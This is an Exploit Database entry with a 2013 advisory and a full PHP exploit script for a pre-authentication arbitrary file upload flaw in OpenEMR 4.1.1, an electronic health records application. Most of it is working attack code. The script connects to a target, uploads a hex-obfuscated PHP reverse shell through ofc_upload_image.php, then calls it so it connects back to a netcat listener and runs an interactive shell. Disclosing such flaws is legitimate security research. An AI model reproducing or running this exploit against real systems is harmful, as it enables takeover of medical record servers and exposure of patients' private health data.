OpenEMR 4.1.1 – ‘ofc_upload_image.php’ Arbitrary File Upload

Exploit Database
125 阅读

作者： LiquidWorm

日期： 2013-02-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/24492/

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<?php

OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability

Vendor: OpenEMR

Product web page: http://www.open-emr.org

Affected version: 4.1.1

Summary: OpenEMR is a Free and Open Source electronic health records and medical

practice management application that can run on Windows, Linux, Mac OS X, and many

other platforms.

Desc: The vulnerability is caused due to the improper verification of uploaded

files in '/library/openflashchart/php-ofc-library/ofc_upload_image.php' script

thru the 'name' parameter. This can be exploited to execute arbitrary PHP code

by uploading a malicious PHP script with multiple extensions.

================================================================================

/library/openflashchart/php-ofc-library/ofc_upload_image.php:

-------------------------------------------------------------

21: $default_path = '../tmp-upload-images/';

23: if (!file_exists($default_path)) mkdir($default_path, 0777, true);

26: $destination = $default_path . basename( $_GET[ 'name' ] );

28: echo 'Saving your image to: '. $destination;

39: $jfh = fopen($destination, 'w') or die("can't open file");

40: fwrite($jfh, $HTTP_RAW_POST_DATA);

41: fclose($jfh);

46: exit();

================================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Fedora Linux

Apache2, PHP 5.4 MySQL 5.5

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2013-5126

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php

09.02.2013

error_reporting(0);

set_time_limit(0);

$go = "\033[0;92m"; $no = "\033[0;37m";

echo $no;

$host = $argv[1];

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if(!$sock)

{

echo "\n> $errstr ($errno)\n";

die();

}

function r_shell($sc)

{

for($z = 0; $z < strlen($sc); $z += 2)

$exec .= chr(hexdec(substr($sc,$z,2)));

return $exec;

}

print "\n+--------------------------------------------------------+";

print "\n++";

print "\n+ OpenEMR 4.1.1 Remote Reverse Shell Exploit (pre-auth)+";

print "\n++";

print "\n+ ID: ZSL-2013-5126+";

print "\n++";

print "\n+--------------------------------------------------------+\n\n";

// PoC for Linux

// Before running this script, listen on 127.0.0.1: nc -vv -n -l -p 1234

if ($argc < 2)

{

print "\n> Usage: php $argv[0] <target>\n\n";

die();

}

$pl = r_shell("3c3f7068700d0a"."7365745f74696d"."655f6c696d6974".

"202830293b0d0a"."246970203d2027"."3132372e302e30".

"2e31273b0d0a24"."706f7274203d20"."313233343b0d0a".

"246368756e6b5f"."73697a65203d20"."313430303b0d0a".

"2477726974655f"."61203d206e756c"."6c3b2024657272".

"6f725f61203d20"."6e756c6c3b0d0a"."247368656c6c20".

"3d2027756e616d"."65202d613b2077"."3b2069643b202f".

"62696e2f736820"."2d69273b0d0a24".

"6461656d6f6e20"."3d20303b202464".

"65627567203d20"."303b0d0a696620".

"2866756e637469"."6f6e5f65786973".

"7473282770636e"."746c5f666f726b".

"272929207b0d0a"."24706964203d20".

"70636e746c5f66"."6f726b28293b0d".

"0a696620282470"."6964203d3d202d"."3129207b0d0a70".

"72696e74697428"."224552524f523a"."2043616e277420".

"666f726b22293b"."20657869742831"."293b7d0d0a6966".

"20282470696429"."207b6578697428"."30293b7d0d0a69".

"662028706f7369"."785f7365747369"."642829203d3d20".

"2d3129207b0d0a"."7072696e746974"."28224572726f72".

"3a2043616e2774"."20736574736964"."282922293b2065".

"7869742831293b"."7d0d0a24646165".

"6d6f6e203d2031"."3b7d20656c7365".

"207b0d0a707269"."6e746974282257".

"41524e494e473a"."204661696c6564".

"20746f20646165"."6d6f6e6973652e".

"20205468697320"."69732071756974".

"6520636f6d6d6f"."6e20616e64206e".

"6f742066617461"."6c2e22293b7d0d"."0a636864697228".

"222f22293b2075"."6d61736b283029"."3b0d0a24736f63".

"6b203d2066736f"."636b6f70656e28"."2469702c202470".

"6f72742c202465"."72726e6f2c2024"."6572727374722c".

"203330293b0d0a"."69662028212473"."6f636b29207b0d".

"0a7072696e7469"."74282224657272"."73747220282465".

"72726e6f292229"."3b206578697428"."31293b7d0d0a24".

"64657363726970746f7273706563203d206172726179280d0a30203d3e206172726179282270".

"697065222c20227222292c0d0a31203d3e206172726179282270697065222c20227722292c0d".

"0a32203d3e206172726179282270697065222c2022772229293b0d0a2470726f63657373203d".

"2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c202470".

"69706573293b0d0a696620282169735f7265736f75726365282470726f636573732929207b0d".

"0a7072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0d".

"0a657869742831293b7d0d0a73747265616d5f7365745f626c6f636b696e6728247069706573".

"5b305d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b31".

"5d2c2030293b0d0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c".

"2030293b0d0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0d0a".

"7072696e74697428225375636365737366756c6c79206f70656e656420726576657273652073".

"68656c6c20746f202469703a24706f727422293b0d0a7768696c6520283129207b0d0a696620".

"2866656f662824736f636b2929207b0d0a7072696e74697428224552524f523a205368656c6c".

"20636f6e6e656374696f6e207465726d696e6174656422293b20627265616b3b7d0d0a696620".

"2866656f66282470697065735b315d2929207b0d0a7072696e74697428224552524f523a2053".

"68656c6c2070726f63657373207465726d696e6174656422293b20627265616b3b7d0d0a2472".

"6561645f61203d2061727261792824736f636b2c202470697065735b315d2c20247069706573".

"5b325d293b0d0a246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73".

"656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c".

"6c293b0d0a69662028696e5f61727261792824736f636b2c2024726561645f612929207b0d0a".

"6966202824646562756729207072696e7469742822534f434b205245414422293b0d0a24696e".

"707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0d0a69662028".

"24646562756729207072696e7469742822534f434b3a2024696e70757422293b0d0a66777269".

"7465282470697065735b305d2c2024696e707574293b7d0d0a69662028696e5f617272617928".

"2470697065735b315d2c2024726561645f612929207b0d0a6966202824646562756729207072".

"696e74697428225354444f5554205245414422293b0d0a24696e707574203d20667265616428".

"2470697065735b315d2c20246368756e6b5f73697a65293b0d0a696620282464656275672920".

"7072696e74697428225354444f55543a2024696e70757422293b0d0a6677726974652824736f".

"636b2c2024696e707574293b7d0d0a69662028696e5f6172726179282470697065735b325d2c".

"2024726561645f612929207b0d0a6966202824646562756729207072696e7469742822535444".

"455252205245414422293b0d0a24696e707574203d206672656164282470697065735b325d2c".

"20246368756e6b5f73697a65293b0d0a6966202824646562756729207072696e746974282253".

"54444552523a2024696e70757422293b0d0a6677726974652824736f636b2c2024696e707574".

"293b7d7d0d0a66636c6f73652824736f636b293b0d0a66636c6f7365282470697065735b305d".

"293b0d0a66636c6f7365282470697065735b315d293b0d0a66636c6f7365282470697065735b".

"325d293b0d0a70726f635f636c6f7365282470726f63657373293b0d0a66756e6374696f6e20".

"7072696e746974202824737472696e6729207b0d0a6966202821246461656d6f6e29207b2070".

"72696e74202224737472696e675c6e223b7d7d0d0a3f3e"); //PHP Reverse Shell, PTMNKY.

echo "\n> Writing reverse shell file";

$pckt= "POST /openemr/library/openflashchart/php-ofc-library/ofc_upload_image.php?name=joxypoxy.php HTTP/1.1\r\n";

$pckt .= "Host: {$host}\r\n";

$pckt .= "Content-Length: ".strlen($pl)."\r\n\r\n{$pl}";

fputs($sock, $pckt);

sleep (2);

print " ...."; echo $go."[OK]"; echo $no;

echo "\n> Calling your listener";

$pckt= "GET /openemr/library/openflashchart/tmp-upload-images/joxypoxy.php HTTP/1.0\r\n";

$pckt .= "Host: {$host}\r\n";

$pckt .= "Connection: Keep-Alive\r\n\r\n";

fputs($sock, $pckt);

sleep (2);

print " ........."; echo $go."[OK]"; echo $no."\n";

// interact_sh();

echo "\n> Enjoy!\n\n";